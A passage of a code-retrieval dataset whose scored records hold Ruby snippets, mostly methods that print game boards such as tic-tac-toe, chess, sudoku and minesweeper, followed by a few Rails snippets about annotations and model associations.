"907ee5f3eb490f3c56bb9aa3f511e1a7", "score": "0.7112156", "text": "def render_board\n\t\tputs \"\"\n\t\t@number_of_pieces.times do |row|\n\t\t\tprint \" \"\n\t\t\t@board_game.each do |col|\n\t\t\t\tcurrent_item = @number_of_pieces-1-row\n\n\t\t\t\tif col[current_item] == 1\n\t\t\t\t\tprint \"#\".center(@number_of_pieces*2-1)\n\t\t\t\telsif col[current_item].nil?\n\t\t\t\t\tprint \" \" + \" \" * (@number_of_pieces-1)\n\t\t\t\telse \n\t\t\t\t\tprint (\"#\" + \"##\" * (col[current_item]-1)).center(@number_of_pieces*2-1)\n\t\t\t\tend\n\t\t\t\tprint \" \"\n\t\t\tend\n\t\t\tprint \"\\n\"\n\t\tend\n\t\tprint \" |\" + (\"_\" * (@number_of_pieces*2-1) + \"|\") * 3 + \"\\n\"\n\t\tprint \" |\"\n\t\t(1..3).each {|number| print \"_\" * (@number_of_pieces-1) + \"#{number}\" + \"_\" * (@number_of_pieces-1) + \"|\"}\n\t\tprint \"\\n\"\n\tend", "title": "" }, { "docid": "1171bbf3c476d3a6a9a5c90f8f75d8d9", "score": "0.71025926", "text": "def pretty_board(board)\n board_string = \"\"\n board.each { |row| board_string += row.join(\" \") + \"\\n\" }\n board_string\nend", "title": "" }, { "docid": "bff1d8866358be615dccc8d5dbace930", "score": "0.7100092", "text": "def to_s\n piece_squares = @pieces.reverse\n empty_squares = [\" \"] * 4\n buf = []\n\n 8.times do |row_index|\n row = piece_squares[row_index * 4, 4]\n\n if row_index.even?\n first = empty_squares\n second = row\n else\n first = row\n second = empty_squares\n end\n\n 4.times do |col_index|\n buf << first[col_index].to_s\n buf << \" | \"\n buf << second[col_index].to_s\n buf << \" | \"\n end\n\n buf << \"\\n\" + (\"-\" * 32) + \"\\n\"\n end\n\n buf.map { |c| c == \"\" ? \" \" : c }.join\n end", "title": "" }, { "docid": "6c2c0808981c96d2bdba60fe8340614a", "score": "0.70842564", "text": "def to_s\n output = \"+\" + \"---+\" * columns + \"\\n\"\n\n each_row do |row|\n top = \"|\"\n bottom = \"+\"\n corner = \"+\"\n\n row.each do |cell|\n if cell.is_player?\n body = \" @ \"\n elsif cell.is_target?\n body = \" & \"\n else\n body = \" \"\n end\n \n right_border = (cell.connected?(cell.right) ? \" \" : \"|\")\n top << body << right_border\n\n down_border = (cell.connected?(cell.down) ? \" \" : \"---\")\n bottom << down_border << corner\n end\n\n output << top << \"\\n\"\n output << bottom << \"\\n\"\n end\n output\n end", "title": "" }, { "docid": "9a28cf181ec3467072470499b98946b4", "score": "0.7081159", "text": "def to_s\r\n @board.inject('') do |str,row| # starts with an empty String,str\r\n str << \"#{row.join(' ')}\\n\" #row is the iterator, iterates thru everything in the array and join them by a space, and adds it into the empty str String.\r\n end + \"\\n\" #an empty line\r\n end", "title": "" }, { "docid": "8eb6422b94f5ba9ee048cb47909dda84", "score": "0.707366", "text": "def to_s\n string_stream = StringIO.new\n history_offset = @move_history.size\n 8.downto(1) do |row|\n string_stream << \" #{row} \"\n @board[row - 1].each_with_index do |col, col_num|\n bg_color = (row - 1) % 2 == col_num % 2 ? BLACK_SQAURE : WHITE_SQUARE\n string_stream << col.to_s.colorize(bg_color)\n end\n string_stream << \"\\t\"\n move_index = 8 - row + (history_offset - 8)\n move_index = 8 - row if (history_offset - 8).negative?\n string_stream << \"#{move_index + 1}. #{@move_history[move_index]}\"\n string_stream << \"\\n\"\n end\n\n string_stream << ' a b c d e f g h '\n\n string_stream.string\n end", "title": "" }, { "docid": "7e4ab43836ce3f93aac9b9ea307c2776", "score": "0.70650446", "text": "def to_s\n output_board = \"\"\n @board.each do |row|\n each_row = row.join(' ')\n output_board << each_row + \"\\n\"\n end\n output_board\n end", "title": "" }, { "docid": "7cc61fdcba06552774874e717a310f33", "score": "0.7063995", "text": "def to_s\n \"+-------+-------+-------+\\n| \" +\n Array.new(3) do |br|\n Array.new(3) do |r|\n Array.new(3) do |bc|\n Array.new(3) do |c|\n @cells[br*27 + r * 9 + bc * 3 + c] || \"_\"\n end.join(\" \")\n end.join(\" | \")\n end.join(\" |\\n| \")\n end.join(\" |\\n+-------+-------+-------+\\n| \") +\n \" |\\n+-------+-------+-------+\\n\"\n end", "title": "" }, { "docid": "10b69dba07ca4e8ee5b97441ec896c72", "score": "0.7062464", "text": "def display_board(board)\n tl = \" #{board[0]} \"\n tm = \"| #{board[1]} |\"\n tr = \" #{board[2]} \"\n ml = \" #{board[3]} \"\n mm = \"| #{board[4]} |\"\n mr = \" #{board[5]} \"\n bl = \" #{board[6]} \"\n bm = \"| #{board[7]} |\"\n br = \" #{board[8]} \"\n bs = \"-----------\"\n\n puts \"#{tl}#{tm}#{tr}\"\n puts \"#{bs}\"\n puts \"#{ml}#{mm}#{mr}\"\n puts \"#{bs}\"\n puts \"#{bl}#{bm}#{br}\"\nend", "title": "" }, { "docid": "6fc8d0ab05969434d91c2ce70ecf0830", "score": "0.70567006", "text": "def to_s\n @squares.reverse.each_with_index do |row, index|\n puts row.map {|i| i.nil? ? \"\\u00B7\" : i.to_s }.unshift(BOARD_SIZE - index).join(' ')\n end\n puts ' ' + COLUMNS.to_a.join(' ')\n unless captures.blank?\n puts '-' * 20\n puts \"Captures: #{captures.map(&:to_s) * ' '}\"\n end\n end", "title": "" }, { "docid": "16534bef9cf62055f8415d3dffdddf18", "score": "0.705372", "text": "def board_view\n lines = []\n \n count = 0\n @layout.each_with_index do |row, y|\n l = (y + 1).to_s + \" \"\n row.each do |square|\n count += 1\n l += square.square_view(count % 2 == 0)\n end\n count += 1 # Because next row begins with the same color as last row ends\n lines.unshift(l)\n end\n \n lines.unshift(\"\") # Blank line before\n \n lines << \"\"\n lines << \" \" + \"abcdefgh\"\n lines << \"\" # Blank line after\n \n lines \n end", "title": "" }, { "docid": "cc132e510c04925f0db273b0205baff5", "score": "0.7053184", "text": "def to_s\n\t\ti=0\n\t\twhile i<3\n\t\t\tputs @board[i].to_s\n\t\t\ti+=1\n\t\tend\n\tend", "title": "" }, { "docid": "c5c9ca0554a6996b58ee60dba15aa015", "score": "0.70420367", "text": "def display_board_with_pieces\n puts \"\\n\"\n puts @board.map { |array| array.map(&:appearance).join }\n puts \"\\n\"\n end", "title": "" }, { "docid": "f57a24e0915624d2e625204fad016ed9", "score": "0.7031719", "text": "def board\n p \"Below is the solution, actual board displayed in terminal not yet completed...\"\n p @board_string\n end", "title": "" }, { "docid": "7ce70871dd20399d219d22da9bec0fed", "score": "0.7019078", "text": "def to_s\n <<-BOARD\n #{cell_to_s(1)} | #{cell_to_s(2)} | #{cell_to_s(3)}\n ---+---+---\n #{cell_to_s(4)} | #{cell_to_s(5)} | #{cell_to_s(6)}\n ---+---+---\n #{cell_to_s(7)} | #{cell_to_s(8)} | #{cell_to_s(9)}\n BOARD\n end", "title": "" }, { "docid": "7225ac54794b6960445d60637d42be41", "score": "0.7016243", "text": "def text_display(game_over: false)\n # Top\n grid = display_column_indexes\n # Tiles\n rows_count = 0\n @tiles.each do |tile_row|\n grid << sprintf(\"%#{COLUMN_WIDTH}d\", rows_count)\n tile_row.each do |t|\n grid << (game_over || lost? ? t.text_display_game_over : t.text_display)\n end\n grid << sprintf(\"%#{COLUMN_WIDTH}d\", rows_count)\n grid << \"\\n\"\n rows_count += 1\n end\n # Bottom\n grid << display_column_indexes\n grid\n end", "title": "" }, { "docid": "46e4b70ffc89adf63e70f86a69a16c7b", "score": "0.7015211", "text": "def draw_board\n # The biggest expected character numbers.\n max_column_number_length = (@width - 1).to_s.size\n max_row_number_length = (@height - 1).to_s.size\n\n # The output and the horizontal row strings are kept separately.\n output = Array.new(height)\n horizontal_number_row = Array.new(max_column_number_length, '')\n\n # Indenting the rows, so the sliced number will aligne when printed to the console.\n (0..max_column_number_length - 1).each do |index|\n horizontal_number_row[index] = ''.rjust((10**index) * 2, ' ').prepend(' ')\n horizontal_number_row[index].prepend(' ') if index > 0\n end\n\n # Iterating through the node matrix to create the final output. The formating will also be done in this loop.\n (0..@height - 1).each do |i|\n row = ''\n (0..@width - 1).each do |j|\n if i == 0\n (0..j.to_s.size - 1).each do |k|\n horizontal_number_row[k] << j.to_s.split('')[k] << ' '\n end\n end\n\n output[i] = i.to_s.rjust(max_row_number_length, ' ') if j == 0\n\n row << @nodes[i][j].to_s.prepend(' ')\n end\n\n output[i] << row\n end\n\n puts horizontal_number_row.join(\"\\n\")\n puts output.join(\"\\n\")\n end", "title": "" }, { "docid": "76a26f6fd728fc18b430f1b68b1d0599", "score": "0.70128816", "text": "def output_gameboard\n puts \" \" * 16 + @gameboard.join(\" \").colorize(:white)\n end", "title": "" }, { "docid": "e173971cc8a2a8701385d5ae0eafb247", "score": "0.7012311", "text": "def print_board\n board = ''\n @y_len.times do |y|\n @x_len.times do |x|\n if @tiles[y][x].mine\n board << 'B'\n elsif !@tiles[y][x].revealed\n board << '?'\n else\n board << 'r'\n end\n end\n board << \"\\n\"\n end\n p board\n end", "title": "" }, { "docid": "0f09554b28737d5404f44eea807dbdb0", "score": "0.7010898", "text": "def to_s\r\n\t\t@board.each do |row|\r\n\t\t\trow.each do |col|\r\n\t\t\t\tprint col\r\n\t\t\tend\r\n\t\t\tprint \"\\n\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "ca2df4ef028f6a219c55b2d04b5f1edb", "score": "0.70088726", "text": "def board( p )\n w = \"#######\"\n e = \"+--------------------------------------------------------+\"\n\n \"\n 1 2 3 4 5 6 7 8\n #{e}\n |#{w}#{p[0][0]}#{w}#{p[1][0]}#{w}#{p[2][0]}#{w}#{p[3][0]}|\n a |#{w}#{p[0][1]}#{w}#{p[1][1]}#{w}#{p[2][1]}#{w}#{p[3][1]}|\n |#{w}#{p[0][2]}#{w}#{p[1][2]}#{w}#{p[2][2]}#{w}#{p[3][2]}|\n |#{p[4][0]}#{w}#{p[5][0]}#{w}#{p[6][0]}#{w}#{p[7][0]}#{w}|\n b |#{p[4][1]}#{w}#{p[5][1]}#{w}#{p[6][1]}#{w}#{p[7][1]}#{w}|\n |#{p[4][2]}#{w}#{p[5][2]}#{w}#{p[6][2]}#{w}#{p[7][2]}#{w}|\n |#{w}#{p[8][0]}#{w}#{p[9][0]}#{w}#{p[10][0]}#{w}#{p[11][0]}|\n c |#{w}#{p[8][1]}#{w}#{p[9][1]}#{w}#{p[10][1]}#{w}#{p[11][1]}|\n |#{w}#{p[8][2]}#{w}#{p[9][2]}#{w}#{p[10][2]}#{w}#{p[11][2]}|\n |#{p[12][0]}#{w}#{p[13][0]}#{w}#{p[14][0]}#{w}#{p[15][0]}#{w}|\n d |#{p[12][1]}#{w}#{p[13][1]}#{w}#{p[14][1]}#{w}#{p[15][1]}#{w}|\n |#{p[12][2]}#{w}#{p[13][2]}#{w}#{p[14][2]}#{w}#{p[15][2]}#{w}|\n |#{w}#{p[16][0]}#{w}#{p[17][0]}#{w}#{p[18][0]}#{w}#{p[19][0]}|\n e |#{w}#{p[16][1]}#{w}#{p[17][1]}#{w}#{p[18][1]}#{w}#{p[19][1]}|\n |#{w}#{p[16][2]}#{w}#{p[17][2]}#{w}#{p[18][2]}#{w}#{p[19][2]}|\n |#{p[20][0]}#{w}#{p[21][0]}#{w}#{p[22][0]}#{w}#{p[23][0]}#{w}|\n f |#{p[20][1]}#{w}#{p[21][1]}#{w}#{p[22][1]}#{w}#{p[23][1]}#{w}|\n |#{p[20][2]}#{w}#{p[21][2]}#{w}#{p[22][2]}#{w}#{p[23][2]}#{w}|\n |#{w}#{p[24][0]}#{w}#{p[25][0]}#{w}#{p[26][0]}#{w}#{p[27][0]}|\n g |#{w}#{p[24][1]}#{w}#{p[25][1]}#{w}#{p[26][1]}#{w}#{p[27][1]}|\n |#{w}#{p[24][2]}#{w}#{p[25][2]}#{w}#{p[26][2]}#{w}#{p[27][2]}|\n |#{p[28][0]}#{w}#{p[29][0]}#{w}#{p[30][0]}#{w}#{p[31][0]}#{w}|\n h |#{p[28][1]}#{w}#{p[29][1]}#{w}#{p[30][1]}#{w}#{p[31][1]}#{w}|\n |#{p[28][2]}#{w}#{p[29][2]}#{w}#{p[30][2]}#{w}#{p[31][2]}#{w}|\n #{e}\n \"\nend", "title": "" }, { "docid": "57054a471b68264920f5cebcf7a3ca45", "score": "0.70062417", "text": "def to_s\n\t\tboard=@@ROW_DELIMITER\n\t\tfor i in (BOARD_SIZE-1).downto(0) #origin is at bottom left of board\n\t\t\tboard+=ROW_LOOKUP.invert[i]+@@COLUMN_DELIMITER\n\t\t\tfor j in 0...BOARD_SIZE\n\t\t\t\tif @gameboard[i][j]\n\t\t\t\t\tboard+=@gameboard[i][j].to_c+@@COLUMN_DELIMITER\n\t\t\t\telse\n\t\t\t\t\tboard+=' '+@@COLUMN_DELIMITER\n\t\t\t\tend\n\t\t\tend\n\t\t\tboard+=\"\\n\"+@@ROW_DELIMITER\n\t\tend\n\t\tboard+=' ';\n\t\tfor j in 0...BOARD_SIZE\n\t\t\tboard+=' '+COLUMN_LOOKUP.invert[j]+' '\n\t\tend\n\t\tboard+=\"\\n\"\n\t\treturn board\n\tend", "title": "" }, { "docid": "a08799599d052b7562a99a05ace01f1f", "score": "0.69946176", "text": "def to_s()\n\t\tr = \" \"\n\n\t\t# print columns numbers\n\t\t0.upto(@columns - 1) do |i|\n\t\t\tr += i.to_s\n\t\tend\n\t\tr += \"\\n\"\n\n\t\t# print each line\n\t\t@grid.each_index do |j|\n\t\t\t# add the line number\n\t\t\tr += j.to_s.rjust(2,'0')\n\n\t\t\t# print each cell\n\t\t\t@grid[j].each do |cell|\n\t\t\t\tr += cell.to_s\n\t\t\tend\n\t\t\tr += \"\\n\"\n\t\tend\n\n\t\treturn r\n\tend", "title": "" }, { "docid": "0e1e2d01181f7e522bd9f1444fa4606c", "score": "0.6989443", "text": "def print_board\n puts @board.map { |s| s.to_s(16).rjust(2, '0') }.join.scan(/.{#{@puz.width * 2}}/)\n end", "title": "" }, { "docid": "44c7d34f84f2d2ac1e2e10589991f702", "score": "0.69890076", "text": "def to_s \n i = 1\n @board.each do |node|\n node.to_s\n puts \"\\n\" if i % 3 == 0\n i = i + 1\n end\n puts\n end", "title": "" }, { "docid": "7940d217350fca6ac7ddaa999aea64bb", "score": "0.69826293", "text": "def display_board(board)\n template = \" | | \\n-----------\\n | | \\n-----------\\n | | \\n\"\n\n template[1] = board[0]\n template[5] = board[1]\n template[9] = board[2]\n template[25] = board[3]\n template[29] = board[4]\n template[33] = board[5]\n template[49] = board[6]\n template[53] = board[7]\n template[57] = board[8]\n\n\n puts template\n\nend", "title": "" }, { "docid": "a827283421df52a310cfb58b6be62dba", "score": "0.6978957", "text": "def render #make it pretty, requires a little more code\n puts \"#{@board[0][0]}|#{@board[0][1]}|#{@board[0][2]}\"\n puts \"-\" * 5\n puts \"#{@board[1][0]}|#{@board[1][1]}|#{@board[1][2]}\"\n puts \"-\" * 5\n puts \"#{@board[2][0]}|#{@board[2][1]}|#{@board[2][2]}\"\n end", "title": "" }, { "docid": "6b8944f72e7920b52b4b648a9fff8723", "score": "0.6978128", "text": "def print_board(board)\n\tboard_as_string = \"\"\n\tfor x in 0 ... board.size\n\t\tnew_line = \"\"\n\t\tfor y in 0 ... board[x].size\n\t\t\tif board[x][y] == \"\"\n\t\t\t\tnew_line = new_line + \"|\" + \" \" + \"|\"\n\t\t\telse\n\t\t\t\tnew_line = new_line + \"|\" + board[x][y] + \"|\"\n\t\t\tend\n\t\tend\n\t\tnew_line = new_line[1..-2]\n\t\tnew_line = new_line.gsub(\"||\", \"|\")\t\t\t\n\t\tboard_as_string = board_as_string + new_line + \"\\n\"\n\t\tif x < 2\n\t\t\tboard_as_string = board_as_string + \"-----\\n\"\n\t\tend\n\tend\n\treturn board_as_string\nend", "title": "" }, { "docid": "0b26f75a1f88a5529c221aa8bcb78901", "score": "0.69571614", "text": "def display_board (board)\n horizontal_line = \"-----------\"\n pipe_line = \"|\"\n first_row = \" \" + \"#{board[0]}\" + \" \" + pipe_line + \" \" + \"#{board[1]}\" + \" \" + pipe_line + \" \" + \"#{board[2]}\" + \" \"\n second_row = \" \" + \"#{board[3]}\" + \" \" + pipe_line + \" \" + \"#{board[4]}\" + \" \" + pipe_line + \" \" + \"#{board[5]}\" + \" \"\n third_row = \" \" + \"#{board[6]}\" + \" \" + pipe_line + \" \" + \"#{board[7]}\" + \" \" + pipe_line + \" \" + \"#{board[8]}\" + \" \"\n puts first_row\n puts horizontal_line\n puts second_row\n puts horizontal_line\n puts third_row\nend", "title": "" }, { "docid": "8c60fac352e0a9fe2903382883e808ec", "score": "0.6955106", "text": "def to_s\n output = \"\"\n @board.each { |row| output += row.join('') + \"\\n\" }\n output\n end", "title": "" }, { "docid": "17dcd3712503e3d4da9807a875e469e0", "score": "0.6951655", "text": "def to_s\n if @board == nil\n \"----\\n----\\n----\\n----\"\n else\n \"#{@board[0]}\\n#{@board[1]}\\n#{@board[2]}\\n#{@board[3]}\"\n #{}\"#{@dice}\"\n end\n end", "title": "" }, { "docid": "424eeaff4be6dbb1ea57d30c3dac6d3b", "score": "0.6951411", "text": "def to_s\n # \"omg what is this? try printing me.\"\n for i in 0..3\n puts @board[i].join(\"\")\n end\n end", "title": "" }, { "docid": "56a48e238880f181915d9e232807f2f5", "score": "0.6949925", "text": "def to_s\n string = <<-BOARD\n Jason's Connect Four!!\n +-------+-------+\n | 0 1 2 3 4 5 6 |\n +-------+-------+\n | X X X X X X X |\n | X X X X X X X |\n | X X X X X X X |\n | X X X X X X X |\n | X X X X X X X |\n | X X X X X X X |\n +-------+-------+\n BOARD\n @board.flatten.each { |cell|\n display = cell.player_value || \" \"\n string.sub!(/X/, display.to_s)\n }\n string\n end", "title": "" }, { "docid": "63692ed0c8ca080d50c11fc45d727872", "score": "0.6947955", "text": "def print_board \n\t\tcount = 1\n\t\trow=''\n\t\t@cells.each do |id,parameters|\n\t\t\trow+= \"| # |\" if @cells[id].content=='ship'\n\t\t\trow+= \"| ~ |\" if @cells[id].content=='water'\t\n\t\t\tif count % @width == 0 \n\t\t\t\tputs row.squeeze('|')\n\t\t\t\trow.clear\n\t\t\tend\n\t\t\tcount+=1\n\t\tend\n\tend", "title": "" }, { "docid": "67ed9bbfa5aba29ea77917bbaed17d8f", "score": "0.69449323", "text": "def render\n grid = @board.to_s # Grid is a string\n cursor_pos = @cursor.cursor_pos\n row, col = cursor_pos\n grid[row*18+(col*2)+1] = \"\\e[38;2;0;255;125m\\u25A3\\e[0m\"\n\n puts grid\n end", "title": "" }, { "docid": "7e550519a454e96c9675805bfcd90c49", "score": "0.69424164", "text": "def to_s(board)\n print \"\\n\"\n board.each do |index, value|\n (value.nil?) ? (print \" #{index} \") : (print \" #{value} \")\n print \"\\n\" if (index % 3) == 0 \n end\n print \"\\n\"\n end", "title": "" }, { "docid": "2c7bd3b68dc664b1e6d26b939b2137c7", "score": "0.6940991", "text": "def display_board\n puts \"B I N G O\"\n @bingo_board.each do |row|\n row.each do |num|\n print num.to_s + \" \"\n print \" \" if num.to_s.length < 2\n end\n print \"\\n\"\n end\n\n print \"\\n\"\n end", "title": "" }, { "docid": "007c4749a15ebfac2539d4fa2471694c", "score": "0.69376767", "text": "def display_board(board)\n space = board\n row1 = \" #{space[0]} | #{space[1]} | #{space[2]} \"\n row2 = \" #{space[3]} | #{space[4]} | #{space[5]} \"\n row3 = \" #{space[6]} | #{space[7]} | #{space[8]} \"\n line = \"-----------\"\n puts row1\n puts line\n puts row2\n puts line\n puts row3\nend", "title": "" }, { "docid": "6e0a496f1cd8c2962ab5abf6b73f1518", "score": "0.6936787", "text": "def display_board\n puts \" #{@board[0]} \"\"|\"\" #{@board[1]} \"\"|\"\" #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} \"\"|\"\" #{@board[4]} \"\"|\"\" #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} \"\"|\"\" #{@board[7]} \"\"|\"\" #{@board[8]} \"\n end", "title": "" }, { "docid": "1e019c2aca88640b6b118bc32606f5a4", "score": "0.69364095", "text": "def printBoard()\n\t\tcol = 0\n\t\trow = 0\n\t\t@grid.each do |index|\n\t\t\tcol = col +1\n\t\t\tif (index.value == 0)\n\t\t\t\tprint \" \"\n\t\t\telse\n\t\t\t\tprint index.value\n\t\t\tend\n\n\t\t\tif (col % 3 == 0 && col != 9)\n\t\t\t\tprint \" | \"\n\t\t\telsif (col == 9)\n\t\t\t\tprint \"\\n\"\n\t\t\t\tcol = 0\n\t\t\t\trow = row +1\n\t\t\t\tif (row % 3 == 0 && row !=9)\n\t\t\t\t\tprint \"---------------------\\n\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint \" \"\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "2230c5932099dfbd197ce1c3bcb282db", "score": "0.693627", "text": "def display_board\n dash_field = \"\" # Temp string variable to output the current state of the game\n @board.each do |letter|\n dash_field += letter + \" \"\n end\n p dash_field \n end", "title": "" }, { "docid": "57112368472e93599fdd278b0a3e2367", "score": "0.69344175", "text": "def display board=@board\n\t\tputs\n\t\tputs \" #{board[:tl]} ¦ #{board[:tc]} ¦ #{board[:tr]} \\n---+---+---\\n #{board[:ml]} ¦ #{board[:mc]} ¦ #{board[:mr]} \\n---+---+---\\n #{board[:bl]} ¦ #{board[:bc]} ¦ #{board[:br]} \"\n\t\tputs\n\tend", "title": "" }, { "docid": "bf597b7c782d916fa86ab2748926b840", "score": "0.6933547", "text": "def display_board(b)\n row = \"-----------\"\n col = \"|\"\n def cell(space)\n return \" #{space} \"\n end\n display = cell(b[0]) + col + cell(b[1]) + col + cell(b[2]) + \"\\n\" + row + \"\\n\" + cell(b[3]) + col + cell(b[4]) + col + cell(b[5]) + \"\\n\" + row + \"\\n\" + cell(b[6]) + col + cell(b[7]) + col + cell(b[8])\n puts display\nend", "title": "" }, { "docid": "e97b0da5734b7f88993471ad31c7bb1e", "score": "0.6926491", "text": "def show_board\n (0..(BOARD_SIZE - 1)).each do |x|\n p self.board['board_fields'][x].map { |sign| sign ? sign : ' ' }.join('|')\n end\n self\n end", "title": "" }, { "docid": "9ffde7f353d511b7fbb9f49c1d883c03", "score": "0.6924748", "text": "def print_board\n COLS.times { |col| print \"|#{col + 1}\" }\n puts \"|\"\n\n # There's probably a prettier way to do this involving getting the array 4 at a time\n @board.each_with_index { |p,i| \n # Print piece value\n if p.nil? then\n str = ' ' # empty squares are spaces\n else\n str = p.owner_string\n end\n \n print \"|#{str}\"\n\n # print final bar\n puts \"| \\t #{((i+1-COLS)..(i)).map { |j| j }.inspect}\" if i % COLS == COLS - 1\n }\n end", "title": "" }, { "docid": "4303fc75953e7bf6df80bb0c462efb7f", "score": "0.6920632", "text": "def to_s\n @board.inject(HEADER_STRING.dup) do |output_string, key_val|\n row_index = key_val[0]\n row = key_val[1]\n output_string + \"\\n\" + row_to_s(row_index, row)\n end\n end", "title": "" }, { "docid": "decde617d5a36f26ea9d6d6ac3fc987c", "score": "0.69162637", "text": "def display_board(board)\n line1 = [\" #{board[0]} \", \" #{board[1]} \", \" #{board[2]} \"].join('|')\n line2 = [\" #{board[3]} \", \" #{board[4]} \", \" #{board[5]} \"].join('|')\n line3 = [\" #{board[6]} \", \" #{board[7]} \", \" #{board[8]} \"].join('|')\n puts line1 + \"\\n\" + \"-\"*11 + \"\\n\" + line2 + \"\\n\" + \"-\"*11 + \"\\n\" + line3\nend", "title": "" }, { "docid": "8abfbd684419670ce6233bbb2d2dfbe2", "score": "0.69156384", "text": "def render_board\n puts @game_board.map { |row| row.join(\" | \")}.join(\"\\n\")\n puts\n end", "title": "" } ]
e4413ba2f48d944d753c5f103903022a
has_many( :annotations, class_name: :Annotation, foreign_key: :snippet_id, primary_key: :id)
[ { "docid": "af3eb697e6af2e6457959b87b63eb7fb", "score": "0.0", "text": "def create_filename\n file_ext = {\n 1 => \"ada\",\n 2 => \"bash\",\n 3 => \"cs\",\n 4 => \"cpp\",\n 5 => \"clj\",\n 6 => \"elm\",\n 7 => \"go\",\n 8 => \"hs\",\n 9 => \"html\",\n 10 =>\"java\", \n 11 => \"js\",\n 12 => \"php\",\n 13 => \"pde\",\n 14 => \"py\",\n 15 => \"r\",\n 16 => \"rb\",\n 17 => \"sc\",\n 18 => \"swift\",\n 19 => \"ts\"\n }\n\n safe_title = title.gsub(/\\s/, \"_\").gsub(/\\..*/, \"\").gsub(/\\W/, \"\")\n\n \"#{safe_title}.#{file_ext[language_id]}\"\n end", "title": "" } ]
[ { "docid": "ed45e3144211e9ca5bdf9820fd097152", "score": "0.63689363", "text": "def annotation_id; end", "title": "" }, { "docid": "ed45e3144211e9ca5bdf9820fd097152", "score": "0.63689363", "text": "def annotation_id; end", "title": "" }, { "docid": "ed45e3144211e9ca5bdf9820fd097152", "score": "0.63689363", "text": "def annotation_id; end", "title": "" }, { "docid": "ed45e3144211e9ca5bdf9820fd097152", "score": "0.63689363", "text": "def annotation_id; end", "title": "" }, { "docid": "b0bcd60aab5200ad654321bc9cb7b0df", "score": "0.61003643", "text": "def annotations; end", "title": "" }, { "docid": "b0bcd60aab5200ad654321bc9cb7b0df", "score": "0.61003643", "text": "def annotations; end", "title": "" }, { "docid": "d30cc2d5f57786d86beec3e0865a00bc", "score": "0.59571564", "text": "def annotate(annotation); end", "title": "" }, { "docid": "d23d5cca8d57deb8fbc3249ff666cd2a", "score": "0.5922248", "text": "def find_annotations_for(id)\n obj_type = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s\n \n Annotation.find(:all,\n :conditions => { :annotatable_type => obj_type, \n :annotatable_id => id },\n :order => \"created_at DESC\")\n end", "title": "" }, { "docid": "a55745a562e3394ebec42bf3c065b587", "score": "0.5877496", "text": "def associated_table; end", "title": "" }, { "docid": "a55745a562e3394ebec42bf3c065b587", "score": "0.5877496", "text": "def associated_table; end", "title": "" }, { "docid": "dc6ee0c695601ce57d62007dfbd7b430", "score": "0.5795107", "text": "def annotations\n @annotations ||= {}\n end", "title": "" }, { "docid": "b0d849e1ec674c427ec765e9a1a69fc0", "score": "0.5766651", "text": "def annotations\n all_annotations\n end", "title": "" }, { "docid": "88ca7d0ebf432cbc15529a3f5c5e3947", "score": "0.57663476", "text": "def annotations_with_attribute(attrib)\n return [] if attrib.blank?\n \n obj_type = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self.class).to_s\n \n Annotation.find(:all,\n :joins => :attribute,\n :conditions => { :annotatable_type => obj_type,\n :annotatable_id => self.id,\n :annotation_attributes => { :name => attrib.strip.downcase } },\n :order => \"created_at DESC\")\n end", "title": "" }, { "docid": "16bb6e3010cce9b97e2f83cc78ae8625", "score": "0.56989396", "text": "def pr_annotate(a)\n name = a.class.name.gsub(\"BOAST::\",\"\")\n if annotate_list.include?(name) then\n description = nil\n if a.is_a?(Annotation) and a.annotate_indepth?(0) then\n description = a.annotation(0)\n end\n annotation = { \"#{name}#{annotate_number(name)}\" => description }\n Comment(YAML::dump(annotation)).pr\n end\n end", "title": "" }, { "docid": "966cdbcc61f238e193bafde89790c2e2", "score": "0.569052", "text": "def set_annotation_collection\n @annotation_collection = AnnotationCollection.find(params[:id])\n end", "title": "" }, { "docid": "f2e442b42049054e011edac6fc0496f3", "score": "0.5674112", "text": "def macro\n :has_many\n end", "title": "" }, { "docid": "97f1182e1f4a13b97ee74519b9036b5f", "score": "0.5668168", "text": "def macro\n :has_many\n end", "title": "" }, { "docid": "f0dd5990d201fed7e23dbceb297de36e", "score": "0.56459576", "text": "def macro\n :belongs_to_related\n end", "title": "" }, { "docid": "ed8f80cf7abf8d27614f0b0358aa3f58", "score": "0.5634449", "text": "def source_macro\n :belongs_to\n end", "title": "" }, { "docid": "d6984fbca7add132cb92cd9da5a1ce92", "score": "0.56302094", "text": "def macro\n :has_many_related\n end", "title": "" }, { "docid": "eea1d0b654e9301e5d9ddd2fa833a860", "score": "0.56201786", "text": "def annotations\n @annotations=@user.annotations(current_user).includes(:item).order(@order).page(@current_page).per(@per_page)\n @page_title=\"#{@user.to_s}: #{I18n.t('revs.annotations.plural')}\"\n end", "title": "" }, { "docid": "d7d962a997306a2d5bad6c2a9bfaf11d", "score": "0.55967003", "text": "def annotation; end", "title": "" }, { "docid": "d7d962a997306a2d5bad6c2a9bfaf11d", "score": "0.55967003", "text": "def annotation; end", "title": "" }, { "docid": "d7d962a997306a2d5bad6c2a9bfaf11d", "score": "0.55967003", "text": "def annotation; end", "title": "" }, { "docid": "0c97a208fb74f8910414e98569a521f2", "score": "0.55906576", "text": "def find_annotations_by(source_type, source_id)\n obj_type = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s\n \n Annotation.find(:all,\n :conditions => { :annotatable_type => obj_type, \n :source_type => source_type,\n :source_id => source_id },\n :order => \"created_at DESC\")\n end", "title": "" }, { "docid": "02e41ff0dea12775c1a0fab413aa95c9", "score": "0.5544013", "text": "def associated\n end", "title": "" }, { "docid": "d60e8cc4ac39946fabad22c4fb41dc04", "score": "0.54939526", "text": "def has_many\n associated_models :has_many\n end", "title": "" }, { "docid": "d5c0f6af0214f5ac7c23f5054fe8d5ba", "score": "0.5491974", "text": "def associations; end", "title": "" }, { "docid": "207f8f4513ab88f0189b05e9758300c7", "score": "0.5470944", "text": "def eager_load_associations\n [:author]\n end", "title": "" }, { "docid": "2d78554aa9e7feffd72e051861171146", "score": "0.5454066", "text": "def annotations_with_attribute_and_by_source(attrib, source)\n return [] if attrib.blank? or source.nil?\n \n obj_type = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self.class).to_s\n \n Annotation.find(:all,\n :joins => :attribute,\n :conditions => { :annotatable_type => obj_type,\n :annotatable_id => self.id,\n :source_type => source.class.name,\n 